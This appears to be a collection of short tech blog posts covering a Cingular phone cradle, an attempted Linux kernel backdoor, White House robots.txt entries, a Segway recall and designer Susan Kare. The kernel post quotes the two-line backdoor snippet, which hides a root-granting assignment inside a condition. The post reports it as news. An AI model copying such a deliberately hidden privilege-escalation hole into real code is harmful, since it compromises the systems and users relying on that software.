Cingular: Recycled Ideas?

Cingular, a wireless phone company well known for its “Rollover” minutes plan and other innovations, has recently started advertising FastForward. The device is a charging cradle for wireless phones. It lets customers seamlessly forward calls to their home phone – just drop the phone into the cradle. Neat innovation – or is it?

Before it merged to become a part of Verizon, GTE marketed its wireless service under the name TeleGo. Pricing for the service was simple: $25 per month plus 25 cents a minute. People today might have griped about the lack of included minutes and calling services, but back in 1996, it was celebrated for its easy-to-understand, fair pricing model.

However, the service’s best feature was its slick simplicity. When a customer was within range of their phone’s base station, the phone acted just like a cordless phone. Calls to either the cell phone or home phone number rang everywhere – and there were no airtime charges for calls made or received within range of the base station. When the customer left home, the phone automatically changed itself back into a cell phone.

Cingular is usually praised for its customer friendliness, but in this case, a clever idea by GTE beat them to it. (Luckily for them, GTE isn’t around to press the issue.)

Caught Early, Thank Goodness

A very sophisticated cracking attempt against the Linux 2.6 kernel was attempted yesterday. The attacker added two lines of code to a developer’s CVS code base:

if ((options == (__WCLONE|__WALL)) && (current->uid = 0))
retval = -EINVAL;

This little snippet of code would allow any program to become the root user, bypassing all security in the system.

If the cracked file made it back into the primary Linux tree, the backdoor might have gone unnoticed for months – maybe even long enough to make it into the release. If that happened, a sizable chunk of the servers on the Internet would be compromised – exposed and vulnerable to the world.

I’m really glad they caught this. It’s a testament to the open source model that this minuscule addition to the source was spotted so quickly. Rock on, Linus ‘n friends.

(Original link via Slashdot.)

White House Deflects Search Engines

Slashdot is reporting that the White House web site is including a large number of directories including the word “Iraq” in its robots.txt file. (For those less technically-inclined, a directory in the robots.txt file is a way of asking a polite web bot, like the one Google runs, to ignore certain parts of a web site.)

Text searches for “robots,” “bots,” and “crawlers” returned no results; a search for “search” didn’t return any relevant results. I couldn’t find any other official explanation for the very odd robots.txt file, a small part of which I’ve quoted here:

Disallow:	/911/response/iraq
Disallow:	/911/response/text
Disallow:	/911/sept112002/iraq
Disallow:	/911/sept112002/text
Disallow:	/911/text
Disallow:	/afac/index.htm/text
Disallow:	/afac/iraq
Disallow:	/afac/text

As you can see, there appears to be a combination of /iraq and /text lines for most of the Disallows. The /text lines make sense, if you consider that the site wants most people to find its fancy snazzy graphical pages first. The purpose of the /iraq lines is less obvious, since most of those directories don’t exist or don’t have an index.html page.

A number of theories have been put forth regarding this. Most agree that the cause is a script designed to generate the robots.txt file that was coded badly, but there’s disagreement as to why there was any attempt to impede the retrieval of information on Iraq in the first place. You can see a wide range of opinions at the ./ post.

Personally, I’d like to hear Dean and Josh’s take on this.

UPDATE 10/27 10:22 PM – A comment by mlc buried deep in the thread links to a plausible explanation of what’s going on. Basically, the huge robots.txt file is designed to prevent spiders from crawling different templates, all containing the same content.

While this doesn’t convince me that the Bush administration is innocent of cover-ups, I think the /. community blew this one way out of proportion.

Calling All Segways

Segway i Series

Recalling, actually…

Segway, in cooperation with the U.S. Consumer Product Safety Commission, is voluntarily recalling 6,000 of its human transporters. According to the Segway site, the devices, famous for their ability to balance on two wheels, could tip under low-battery conditions, injuring riders.

I’ve only had quick glimpses of one of these. They haven’t been too popular in Hawai’i, likely due to both the high cost and the fact that they were illegal until recently.

To be honest, I don’t understand the appeal of these gizmos. Sure, they go faster than pedestrians, but if you live in a commuter city – New York, for example – aren’t the sidewalks too crowded to maneuver reliably?

An interesting angle for me, however, is how they’re implementing the recall – all they have to do is patch the Segway’s software. I guess that says something about the hardware, after all. :)

Here’s the /. discussion, in case you’re interested.

Susan Kare

A name that wasn’t familiar to me, but an important one nonetheless. If you’ve used a GUI at any point in your life, you’re likely intimately familiar with her work. In addition to many other things, she drew the mouse cursor used in a brand-new computer called the Macintosh. (The same icon, pixel for pixel, somehow magically found its way into Windows with its colors reversed.)

Check out her portfolio here.